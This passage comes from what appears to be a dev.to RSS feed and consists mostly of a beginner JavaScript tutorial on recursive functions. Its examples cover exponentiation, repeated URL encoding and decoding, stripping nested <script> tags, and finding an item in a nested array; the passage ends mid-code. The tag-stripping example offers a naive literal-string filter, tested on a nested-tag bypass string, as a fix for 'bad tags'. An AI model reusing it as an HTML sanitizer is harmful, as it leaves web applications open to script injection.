By default - the browser will make a focus on an element with &lt;code&gt;id&lt;/code&gt; after &lt;code&gt;#&lt;/code&gt; (hash) sign. In our case, the focus will be made on an element with ID &lt;code&gt;info&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;#&lt;/code&gt;      - starting symbol that indicates the presence of Hash component&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;info&lt;/code&gt; - the value of a Hash component&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example of logic behind this hash: &lt;em&gt;show tab with basic info for found users&lt;/em&gt;&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;Thanks for reading 👍&lt;/p&gt;

&lt;p&gt;Follow me on Twitter - &lt;a href="https://twitter.com/therceman"&gt;https://twitter.com/therceman&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>codenewbie</category>
      <category>beginners</category>
    </item>
    <item>
      <title>What is a JavaScript Recursive Function? 🔁</title>
      <dc:creator>Anton</dc:creator>
      <pubDate>Fri, 13 Aug 2021 18:50:23 +0000</pubDate>
      <link>https://dev.to/therceman/javascript-recursion-3a9o</link>
      <guid>https://dev.to/therceman/javascript-recursion-3a9o</guid>
      <description>&lt;p&gt;Recursion is a mathematical concept that has many applications in daily life.&lt;/p&gt;

&lt;p&gt;As website developers, we encounter recursive functions every day. &lt;/p&gt;

&lt;p&gt;This tutorial will explore the pattern of problems, which can be solved using recursion.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Basic Concept
&lt;/h2&gt;






&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;recurse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// 2nd call to itself&lt;/span&gt;
    &lt;span class="nx"&gt;recurse&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 1st call&lt;/span&gt;
&lt;span class="nx"&gt;recurse&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each recursive function must have a base case (also called termination condition), where it stops the recursion, or else it will continue calling itself indefinitely.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;recurse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;terminate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// stop calling recurse();&lt;/span&gt;

    &lt;span class="c1"&gt;// continue recurse() if there is no termination&lt;/span&gt;
    &lt;span class="nx"&gt;recurse&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;recurse&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  While Loop and Recursion Comparison
&lt;/h2&gt;




&lt;p&gt;The recursion technique looks similar to the &lt;code&gt;while&lt;/code&gt; loop.&lt;/p&gt;

&lt;p&gt;Imagine that you need to multiply the desired number by themselves X times.&lt;/p&gt;

&lt;p&gt;For example: &lt;code&gt;2 * 2 * 2 = 8&lt;/code&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  While Loop
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;How does the loop works?&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;multiply(2,3)

1. i = 0, res = (1) * 2       // 0 &amp;lt; 3 continue ...
2. i = 1; res = (2) * 2       // 1 &amp;lt; 3 continue ...
3. i = 2; res = (2 * 2) * 2   // 2 &amp;lt; 3 continue ...
4. i = 3; res = (2 * 2 * 2)   // 3 &amp;lt; 3 (false) break and return 8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Recursion 🔁
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;How does the recursion works?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://cdn.hashnode.com/res/hashnode/image/upload/v1628795478992/UZs1K6aO0.jpeg"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MxwBc7Go--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1628795478992/UZs1K6aO0.jpeg" alt="recursion.jpg"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Examples
&lt;/h2&gt;




&lt;h3&gt;
  
  
  #1 (String URL Encode)
&lt;/h3&gt;

&lt;p&gt;Let's imagine we need to URL encode the string &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; 5 times&lt;/p&gt;

&lt;p&gt;The output should look like this:&lt;br&gt;
&lt;code&gt;%252525253Chtml%252525253E&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Loop Solution
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;encodeURI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Recursion Solution 🔁
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;encodeURI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  #2 (String URL Decode)
&lt;/h3&gt;

&lt;p&gt;Let's imagine we need to decode an URL that has been encoded multiple times&lt;/p&gt;

&lt;p&gt;For example let's take previous URL encoded string:&lt;br&gt;
&lt;code&gt;%252525253Chtml%252525253E&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The output result will be: &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Loop Solution
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nb"&gt;decodeURI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;decodeURI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Recursion Solution 🔁
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nb"&gt;decodeURI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;decodeURI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  #3 (String Replace)
&lt;/h3&gt;

&lt;p&gt;Imagine you need to replace bad tags, like &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, from your HTML code&lt;/p&gt;

&lt;p&gt;1st case: &lt;code&gt;hello&amp;lt;script&amp;gt; world&amp;lt;script&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;2nd case: &lt;code&gt;hello&amp;lt;sc&amp;lt;script&amp;gt;ript&amp;gt;world&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;With the first case, we can easily do something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;html_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hello&amp;lt;script&amp;gt; world&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;html_code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replaceAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// output: hello world&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But.. with the second case it will fail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;html_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hello&amp;lt;sc&amp;lt;script&amp;gt;ript&amp;gt; world&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;html_code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replaceAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// output: hello&amp;lt;script&amp;gt; world&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is where Recursion comes to the rescue&lt;/p&gt;

&lt;h4&gt;
  
  
  Recursion Solution 🔁
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;clean_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;bad_tag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;c_html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replaceAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bad_tag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;c_html&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;clean_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c_html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;bad_tag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;clean_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hello&amp;lt;sc&amp;lt;script&amp;gt;ript&amp;gt; world&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// output: hello world&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  #4 (Find Nested Elements)
&lt;/h3&gt;

&lt;p&gt;In this example, we need to find category by ID in a deeply nested array&lt;/p&gt;

&lt;p&gt;Our target is a category with ID number 5&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;the_category_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;fruits&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_list&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;apple&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_list&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;red apple&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_list&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;green apple&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_list&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]}&lt;/span&gt;
        &lt;span class="p"&gt;]},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;banana&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_list&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]}&lt;/span&gt;
    &lt;span class="p"&gt;]}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Recursion Solution 🔁
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;find_cat_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;category_list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;found_category&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nx"&gt;category_list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
